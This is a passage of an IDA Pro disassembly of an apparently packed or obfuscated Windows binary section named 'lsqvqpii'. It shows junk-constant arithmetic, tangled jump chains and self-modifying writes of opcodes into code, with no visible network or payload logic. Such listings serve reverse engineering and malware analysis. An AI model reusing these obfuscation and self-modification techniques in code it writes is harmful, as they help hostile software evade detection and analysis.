					; sub_42CD93:loc_42DEBFj
		lodsb
		add	edx, eax
		rol	edx, 3
		jmp	loc_42CC5D
; ---------------------------------------------------------------------------

locret_42E4E9:				; CODE XREF: lsqvqpii:0042D79Fj
		retn
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42E4EB:				; CODE XREF: sub_42E407+11j
		jmp	loc_42E389
sub_42E407	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_42E4F0:				; CODE XREF: lsqvqpii:0042E1DCj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D2AC


loc_42E4F3:				; CODE XREF: sub_42D2AC+96Dj
		jmp	loc_42D95C
; END OF FUNCTION CHUNK	FOR sub_42D2AC
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42E4F9:				; DATA XREF: lsqvqpii:0042E1D7o
		push	eax
		mov	eax, offset loc_42E95A
		jmp	loc_42E955
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E505:				; CODE XREF: sub_42E407:loc_42E929j
		jnz	sub_42EA00
		jmp	loc_42DFD5
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E332


loc_42E511:				; CODE XREF: sub_42E332+20j
		push	40363191h
		pop	edi
		and	edi, 9DD2CF1Ah
		or	edi, 9215CBA1h
		add	edi, 0A8CE8E8Bh
		and	edi, 0AEA92EFBh
		add	edi, 0D5A2D0B0h
		jmp	loc_42E359
; END OF FUNCTION CHUNK	FOR sub_42E332
; ---------------------------------------------------------------------------
		align 4
		dd 6E9CE3Bh, 0FFFFEDh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42E545:				; CODE XREF: sub_42D877:loc_42EA6Dj
					; sub_42D877+13F1j
		push	edx
		call	near ptr loc_42E54B+1


loc_42E54B:				; CODE XREF: sub_42D877+CCFp
		add	[edi+685B241Ch], al
		jno	short loc_42E5A4
		jp	short near ptr word_42E4D6
		pop	edx
		xor	edx, 0D8BE19Ch
		add	edx, 638FA1DCh
		jmp	loc_42CC01
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		align 4
		or	edx, 20DE2F0Ah
		xor	edx, 45AECDD1h
		or	edx, 0A934CC8h
		add	edx, 112C0132h
		jmp	loc_42E3F3
; ---------------------------------------------------------------------------
		align 2
		sub	edi, 0A2466F32h


loc_42E58C:				; CODE XREF: lsqvqpii:loc_42E063j
		jmp	loc_42E3CE
; ---------------------------------------------------------------------------
byte_42E591	db 0C6h, 6, 9Dh		; DATA XREF: lsqvqpii:loc_42D6BDo
		dd 2414875Eh, 0FFEAB2E8h, 810000FFh, 2CB894E5h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42E5A4:				; CODE XREF: sub_42D877+CDAj
		popa
		jmp	loc_42ED42
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D080


loc_42E5AA:				; CODE XREF: sub_42D080:loc_42DD8Cj
		add	ebx, 2E40C1E1h
		jmp	loc_42E6CA
; END OF FUNCTION CHUNK	FOR sub_42D080

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42E5B5	proc near		; DATA XREF: sub_42E407:loc_42E9F5o
		jmp	sub_42CD4C
sub_42E5B5	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E5BB:				; CODE XREF: sub_42E407-EE3j
		mov	eax, [eax]
		or	eax, eax
		jnz	nullsub_5
		jmp	loc_42D85B
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42EC30


loc_42E5CC:				; CODE XREF: sub_42EC30+12j
		and	eax, 0A2871FB3h
		add	eax, 5E41C324h
		jmp	loc_42CE46
; END OF FUNCTION CHUNK	FOR sub_42EC30
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_42E5DE	proc near		; CODE XREF: sub_42CC9B+1C61p

; FUNCTION CHUNK AT 0042D358 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042ED2C SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	esi, 0A64266B1h
		add	eax, esi
		pop	esi
		push	esi
		push	99E68FB8h
		jmp	loc_42ED2C
sub_42E5DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42E2D3


loc_42E5F8:				; CODE XREF: sub_42E2D3:loc_42E9D3j
		mov	dword ptr [ebp-4], 1
		push	0D49B7AAEh
		pop	eax
		rol	eax, 10h
		sub	eax, 0B354C208h
		jmp	sub_42D080
; END OF FUNCTION CHUNK	FOR sub_42E2D3
; ---------------------------------------------------------------------------


loc_42E613:				; CODE XREF: lsqvqpii:0042D0B9j
		pop	esi
		pop	ebp
		push	offset loc_42D58B
		jmp	loc_42D870
; ---------------------------------------------------------------------------


loc_42E61F:				; DATA XREF: lsqvqpii:0042DEAAo
		add	edx, 63D7AB3Eh
		add	edx, ebp
		push	offset byte_42E783
		jmp	locret_42E778
; ---------------------------------------------------------------------------
		align 2


loc_42E632:				; CODE XREF: lsqvqpii:0042E779j
		lea	eax, byte_42DE10
		push	offset loc_42EB1B
		jmp	loc_42EAE2
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_42E643:				; CODE XREF: lsqvqpii:0042CFADj
		or	edx, edx
		jz	loc_42E650
		call	sub_421134
; START	OF FUNCTION CHUNK FOR sub_42CF38


loc_42E650:				; CODE XREF: lsqvqpii:0042E645j
					; sub_42CF38:loc_42EDDAj
		xchg	edx, [esp+0]
		push	edx
		jmp	loc_42E7C9
; END OF FUNCTION CHUNK	FOR sub_42CF38
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_42E65B:				; CODE XREF: lsqvqpii:0042E23Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E65C:				; CODE XREF: sub_42E407:loc_42D1ABj
		xchg	edx, [esp+0]
		push	931F8915h
		pop	ecx
		or	ecx, 80CD1CB8h
		add	ecx, 6C632B45h
		push	offset sub_42CADB
		jmp	nullsub_11
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42E67D:				; CODE XREF: sub_42DC4F+16j
		or	ecx, 7E6B9612h
		xor	ecx, 7A5183C9h
		and	ecx, 78A4140Eh
		jns	loc_42DFFA
		or	edx, ebx
		jmp	loc_42DF3F
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------


loc_42E69C:				; CODE XREF: lsqvqpii:loc_42E264j
		jnz	loc_42E439
		jmp	near ptr dword_42CD18+0Ah
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
		db 0
byte_42E6AB	db 0C6h			; DATA XREF: sub_42E407:loc_42D7C3o
		dd 0AEE88706h, 4
; ---------------------------------------------------------------------------


loc_42E6B4:				; CODE XREF: lsqvqpii:0042DAAEj
		jmp	loc_42DFA6
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E6BB:				; CODE XREF: lsqvqpii:0042DCECj
		pop	edx
		and	esi, 95AF5DC1h
		js	near ptr dword_42D7A4+11h
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D080


loc_42E6CA:				; CODE XREF: sub_42D080+1530j
		jmp	loc_42DBCE
; END OF FUNCTION CHUNK	FOR sub_42D080
; ---------------------------------------------------------------------------
		db 89h
		dd 0F65BE901h
		db 2 dup(0FFh),	99h

; =============== S U B	R O U T	I N E =======================================



sub_42E6D7	proc near		; CODE XREF: lsqvqpii:loc_42DFB1p

; FUNCTION CHUNK AT 0042ED0E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		push	offset loc_42CEE0
		jmp	loc_42ED0E
sub_42E6D7	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E6E5:				; CODE XREF: sub_42E407:loc_42CC5Dj
		push	eax
		mov	eax, offset nullsub_17
		jmp	loc_42D651
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		popf
		jmp	sub_42D877
; ---------------------------------------------------------------------------
		dw 6800h
		dd 0F46B90A5h, 8B240C87h, 0E38159D9h, 7F5FD584h, 0BBFAEB81h
		dd 0B4E9C6C0h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB86


loc_42E713:				; CODE XREF: sub_42EB86:loc_42E8BBj
		mov	ecx, ebx
		xchg	ecx, [esp+0]
		push	offset loc_42D0FC
		jmp	loc_42EA66
; END OF FUNCTION CHUNK	FOR sub_42EB86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDBB


loc_42E722:				; CODE XREF: sub_42EDBB:loc_42DF60j
		mov	esi, offset loc_42DCCE
		jmp	loc_42CF9D
; END OF FUNCTION CHUNK	FOR sub_42EDBB
; ---------------------------------------------------------------------------
		push	offset loc_42E752
		jmp	loc_42DB8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D5D5


loc_42E736:				; CODE XREF: sub_42D5D5+Aj
		mov	edi, esi
		pop	esi
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		push	offset loc_42D34F
		jmp	nullsub_26
; END OF FUNCTION CHUNK	FOR sub_42D5D5
; ---------------------------------------------------------------------------
		dd 38890000h, 0FFEFFBE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_42E752:				; DATA XREF: lsqvqpii:0042E72Co
		mov	byte ptr [esi],	8Dh
		pop	esi
		xchg	ecx, [esp]
		mov	ebp, esp
		push	edi
		jmp	loc_42EC09
; ---------------------------------------------------------------------------
		xchg	ebx, [esp]


loc_42E764:				; CODE XREF: lsqvqpii:loc_42D3BDj
		pop	ebx
		add	ebx, 77776C04h


loc_42E76B:				; DATA XREF: lsqvqpii:0042D102o
		movsd
		retn
; ---------------------------------------------------------------------------
		db 68h,	98h, 0D8h
		dd 20E90042h, 0FFFFF1h
; ---------------------------------------------------------------------------

locret_42E778:				; CODE XREF: lsqvqpii:0042E62Cj
		retn
; ---------------------------------------------------------------------------
		jmp	loc_42E632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E7E2


loc_42E77E:				; CODE XREF: sub_42E7E2+14j
		jmp	nullsub_6
; END OF FUNCTION CHUNK	FOR sub_42E7E2
; ---------------------------------------------------------------------------
byte_42E783	db 81h			; DATA XREF: lsqvqpii:0042E627o
; ---------------------------------------------------------------------------
		retn	0A4C1h
; ---------------------------------------------------------------------------
		db 88h
; ---------------------------------------------------------------------------
		retf	289h
; ---------------------------------------------------------------------------
		db 5Ah
		dd 99FF689Ch, 0D1E94ACFh, 0FFFFEAh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D2AC


loc_42E799:				; CODE XREF: sub_42D2AC+9j
		mov	byte ptr [eax],	9
		xchg	ebp, [esp-4+arg_0]
		mov	eax, ebp
		pop	ebp
		push	eax
		mov	eax, ecx
		xchg	eax, [esp-4+arg_0]
		jmp	loc_42EAD0
; END OF FUNCTION CHUNK	FOR sub_42D2AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CBA0


loc_42E7AD:				; CODE XREF: sub_42CBA0+741j
		sub	esi, 0F3CBD31Fh


loc_42E7B3:				; CODE XREF: sub_42CBA0+72Ej
		push	offset sub_42CEFC
		jmp	loc_42D51A
; END OF FUNCTION CHUNK	FOR sub_42CBA0
; ---------------------------------------------------------------------------
		align 2
		cmp	ecx, 3F5B7620h
		jmp	loc_42EC6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CF38


loc_42E7C9:				; CODE XREF: sub_42CF38+171Cj
		pop	eax
		xchg	ecx, [esp+0]
		mov	edx, ecx
		pop	ecx
		jmp	loc_42EA92
; END OF FUNCTION CHUNK	FOR sub_42CF38
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDBB


loc_42E7D7:				; CODE XREF: sub_42EDBB-1E74j
					; sub_42E332+14j ...
		push	esi
		rol	esi, 17h
		jmp	loc_42DF60
; END OF FUNCTION CHUNK	FOR sub_42EDBB
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42E7E2	proc near		; CODE XREF: sub_42E407+48p

; FUNCTION CHUNK AT 0042E77E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		add	esi, 6F9E8582h
		push	offset loc_42CEBA
		jmp	loc_42E77E
sub_42E7E2	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0E9C20300h, 0FFFFE7F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E806:				; CODE XREF: lsqvqpii:0042CCDCj
					; lsqvqpii:loc_42EC6Dj
		mov	byte ptr [ecx],	87h
		pop	ecx
		sub	ecx, 903F66CEh
		push	offset byte_42D9C1
		jmp	locret_42DF7E
; ---------------------------------------------------------------------------
		dw 8B00h
		dd 890F59C1h, 0FFFFE6A1h, 0DDCD058Dh, 68510042h, 9F1AC2B9h
		dd 0EE93E959h, 8900FFFFh, 0F12F683Bh, 90E932D4h, 0FFFFFAh
dword_42E844	dd 0F5199668h, 241C87ABh, 0E95BFB8Bh, 561h, 1BF4BA00h
					; DATA XREF: sub_42DC4F-18Ao
		dd 5FE90E4Dh, 0FFFFFFh,	0E9EE2B00h, 0FFFFF545h
; ---------------------------------------------------------------------------


loc_42E868:				; DATA XREF: sub_42EDBB+10o
		push	offset sub_42E057
		jmp	loc_42DCE6
; ---------------------------------------------------------------------------
		align 4
		test	ecx, 0AE41FEA9h
		jmp	loc_42DAB4
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_42E881:				; CODE XREF: lsqvqpii:loc_42EBB5j
					; DATA XREF: sub_42EDBB-210o
		mov	edx, [eax]
		or	edx, edx


loc_42E885:				; CODE XREF: lsqvqpii:0042E9B7j
		jz	loc_42E7D7
		jmp	loc_42E264
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E892:				; CODE XREF: lsqvqpii:0042E1BEj
		add	ecx, 0F3B2E18Bh
		mov	ecx, [ecx]
		xchg	ecx, [esp]
		push	edx
		push	0A7BBA5F0h
		jmp	loc_42E4AE
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E8AA:				; CODE XREF: lsqvqpii:0042CB28j
		jnz	loc_42ECC3


loc_42E8B0:				; CODE XREF: lsqvqpii:0042EB1Cp
		xchg	ecx, [esp]
		pop	ecx
		call	sub_42E930
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB86


loc_42E8BB:				; CODE XREF: sub_42EB86+5j
		jmp	loc_42E713
; END OF FUNCTION CHUNK	FOR sub_42EB86
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42E8C2:				; CODE XREF: sub_42DD3F-971j
		jmp	loc_42D566
; END OF FUNCTION CHUNK	FOR sub_42DD3F
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E8C9:				; CODE XREF: sub_42E407:loc_42E903j
		jnz	sub_42CBA0
		jmp	loc_42E9F2
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		dd 0C30000h, 50EC8B00h,	487C18Bh, 0FE93E924h, 0FFFFh, 67A8E981h
		dd 0BFE925EAh
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_42E8F0+1 ; CODE XREF: lsqvqpii:loc_42E8F0j
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CC9B


loc_42E8F3:				; CODE XREF: sub_42CC9B+7j
		push	54D66F66h
		pop	esi
		rol	esi, 0Ah
		call	sub_42E5DE
; END OF FUNCTION CHUNK	FOR sub_42CC9B
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E903:				; CODE XREF: sub_42E407-7D3j
		jmp	loc_42E8C9
; ---------------------------------------------------------------------------


loc_42E908:				; CODE XREF: sub_42E407-EDDj
		jmp	loc_42DC2E
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_42D1E0


loc_42E90E:				; CODE XREF: sub_42D1E0:loc_42E052j
		pop	edx
		push	edx
		push	2779887Dh
		xchg	ebp, [esp+4+var_4]
		mov	edx, ebp
		pop	ebp
		sub	edx, 2F9C5F0Dh
		jmp	near ptr loc_42DAEF+5
; END OF FUNCTION CHUNK	FOR sub_42D1E0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E929:				; CODE XREF: sub_42E407-152Cj
		jmp	loc_42E505
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42E930	proc near		; CODE XREF: lsqvqpii:0042E8B4p
					; lsqvqpii:0042ED5Ej

; FUNCTION CHUNK AT 0042DD10 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0F6BC9803h
		xchg	ebp, [esp+0]
		mov	ecx, ebp
		pop	ebp
		xor	ecx, 0C2CA3951h
		rol	ecx, 5
		jmp	loc_42DD10
sub_42E930	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		dd 0FFE3B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_42E955:				; CODE XREF: lsqvqpii:0042E4FFj
		mov	byte ptr [eax],	87h
		pop	eax
		pop	edx


loc_42E95A:				; DATA XREF: lsqvqpii:0042E4FAo
		xchg	eax, [esp]
		push	eax
		pop	ebp
		jmp	near ptr dword_42DD6C+11h
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42E966:				; CODE XREF: sub_42DC4F:loc_42E3AAj
		jnz	loc_42CE4B
		shl	ebx, 1Dh
		jp	loc_42E447
		cmp	edx, 0AF87AD06h
		jmp	loc_42D75D
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_42E982:				; CODE XREF: lsqvqpii:loc_42E096j
		retn
; ---------------------------------------------------------------------------


loc_42E983:				; CODE XREF: lsqvqpii:0042CF62j
		jmp	loc_42D740
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_42E989:				; CODE XREF: lsqvqpii:0042DF57j
		retn
; ---------------------------------------------------------------------------
		dw 6800h
		dd 3FA2EAC7h, 0F980820Fh, 28E9FFFFh, 3
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
		mov	ecx, eax
		xchg	ecx, [esp]
		push	ebp
		pop	eax
		push	esi
		jmp	loc_42EA97
; ---------------------------------------------------------------------------
		align 2


loc_42E9AE:				; DATA XREF: sub_42ECE4+Ao
		xchg	edi, [esp]
		call	ds:dword_4210C0	; ExitProcess
		jmp	loc_42E885
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E9BD:				; CODE XREF: sub_42E407-1532j
					; sub_42E407+D1j
		lea	eax, nullsub_1
		mov	byte ptr [eax],	0C3h
		retn
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
		dd 8D00C600h, 0F535E858h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E2D3


loc_42E9D3:				; CODE XREF: sub_42E2D3-7FDj
		jmp	loc_42E5F8
; END OF FUNCTION CHUNK	FOR sub_42E2D3
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42E9DA:				; CODE XREF: lsqvqpii:0042E383j
		sbb	ebp, 9A32B1AFh

; =============== S U B	R O U T	I N E =======================================



sub_42E9E0	proc near		; CODE XREF: sub_42D877-C69p
		push	offset loc_42D96E
		jmp	nullsub_8
sub_42E9E0	endp

; ---------------------------------------------------------------------------


loc_42E9EA:				; CODE XREF: lsqvqpii:loc_42DB8Cj
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0E899E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42E9F2:				; CODE XREF: sub_42E407+4C8j
		ror	edi, 2


loc_42E9F5:				; CODE XREF: sub_42E407:loc_42DC2Ej
		push	offset sub_42E5B5
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42EA00	proc near		; CODE XREF: sub_42E407-1591j
					; sub_42E407:loc_42E505j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042D4EF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042E1E1 SIZE 00000011 BYTES

		push	ebx
		mov	ebx, edi
		xchg	ebx, [esp+0]
		push	0EAF5EA9h
		jmp	loc_42D4EF
sub_42EA00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0C0C15800h, 5CC0811Bh, 0E9C311D6h, 0FFFFF4DCh
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		dd offset dword_42CCA8+8
		db 0E9h, 77h, 0F9h
		dd 0FFFFh, 0E819840Fh, 0FFFFh
; ---------------------------------------------------------------------------


loc_42EA38:				; CODE XREF: lsqvqpii:0042E3B9j
		jmp	loc_42E1C5
; ---------------------------------------------------------------------------
		db 81h,	0D7h, 0F8h
		dd 0E908A331h, 0FFFFFAF4h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42EA49:				; CODE XREF: sub_42D877:loc_42E2FFj
		call	sub_42ECE4
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		dd 0FFEB8DE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_42EA5A:				; CODE XREF: lsqvqpii:0042DB69j
		pop	eax
		add	eax, 4B94AF11h
		call	sub_42EC73
; START	OF FUNCTION CHUNK FOR sub_42EB86


loc_42EA66:				; CODE XREF: sub_42EB86-469j
		jmp	nullsub_25
; END OF FUNCTION CHUNK	FOR sub_42EB86
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42EA6D:				; CODE XREF: sub_42D877-640j
		jnz	loc_42E545
		jmp	loc_42EC65
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_42EA7A:				; CODE XREF: lsqvqpii:loc_42EC1Cj
		test	edi, 1000000h
		jmp	loc_42DBB4
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
		db 0DAh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42EA89:				; CODE XREF: sub_42D877:loc_42DA23j
		rol	eax, 0Eh
		add	eax, 42567961h


loc_42EA92:				; CODE XREF: sub_42CF38+1898j
		call	sub_42EDBB


loc_42EA97:				; CODE XREF: lsqvqpii:0042E9A8j
		jmp	loc_42D232
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		dd 0E699E900h, 0F9E9FFFFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42EAA7:				; DATA XREF: sub_42E365+12o
		call	sub_42DB92
		push	esi
		push	312CB3B1h
		pop	esi
		and	esi, 0F2AD9A52h
		xor	esi, 39F22964h
		jmp	loc_42D815
; ---------------------------------------------------------------------------
		shr	ebx, 14h
		xchg	edi, [edx]
		jmp	loc_42EB61
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_42D2AC


loc_42EAD0:				; CODE XREF: sub_42D2AC+14FCj
		lea	eax, byte_42DE10
		push	eax
		call	sub_42CBA0
		jmp	loc_42DC03
; END OF FUNCTION CHUNK	FOR sub_42D2AC
; ---------------------------------------------------------------------------
		align 2


loc_42EAE2:				; CODE XREF: lsqvqpii:0042E63Dj
		jmp	locret_42CCA7
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42EAE8:				; CODE XREF: sub_42DD3F+5DFj
		jmp	loc_42CE22
; END OF FUNCTION CHUNK	FOR sub_42DD3F
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42EAEF:				; CODE XREF: sub_42E407:loc_42CAAEj
		add	edx, 7BDC90Fh
		or	edx, 0C0F59705h
		add	edx, 434503C0h
		add	edx, ebp
		add	edx, 0DEBB5C65h
		mov	edx, [edx]


loc_42EB0B:				; DATA XREF: lsqvqpii:0042E0F2o
		imul	byte ptr [edx]
		call	sub_42D877
		add	[ebp-1AD0162Dh], al
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_42EB1B:				; DATA XREF: lsqvqpii:0042E638o
		push	ecx
		call	loc_42E8B0


loc_42EB21:				; CODE XREF: lsqvqpii:0042D8A7j
		jmp	near ptr dword_42D5E4+26h
; ---------------------------------------------------------------------------

locret_42EB26:				; CODE XREF: lsqvqpii:0042D225j
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42EB28:				; CODE XREF: lsqvqpii:0042E274j
		jmp	near ptr dword_42D8B8+10h
; ---------------------------------------------------------------------------


loc_42EB2D:				; CODE XREF: lsqvqpii:0042D9BBj
		jmp	loc_42DDC3
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42EB34:				; CODE XREF: sub_42E407-2FAj
		jz	loc_42D35E
		xor	ebx, edi
		and	ebx, eax
		jmp	loc_42CE96
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_42EB44	proc near		; CODE XREF: lsqvqpii:0042CC6Bj
					; lsqvqpii:0042D353p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042CCC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CE7D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042D021 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D15E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042D5AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DBC2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042ED9E SIZE 00000011 BYTES

		xchg	esi, [esp+0]
		xchg	edx, [esp+0]
		mov	esi, edx
		pop	edx
		push	33DE803Eh
		push	esi
		mov	esi, edi
		xchg	esi, [esp+4+var_4]
		jmp	loc_42CCC9
sub_42EB44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------


loc_42EB61:				; CODE XREF: lsqvqpii:0042EAC9j
		xchg	ebx, [esp]
		pop	ebx
		xchg	edx, [esp]
		mov	esi, edx
		pop	edx
		xchg	eax, [esp]
		jmp	near ptr dword_42DE30+12h
; ---------------------------------------------------------------------------
		align 4
		dd 0EBCF6800h, 1CE96252h, 0FFFFEAh, 46820Fh
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42EB86	proc near		; CODE XREF: sub_42E407+38p

; FUNCTION CHUNK AT 0042E713 SIZE 0000000F BYTES
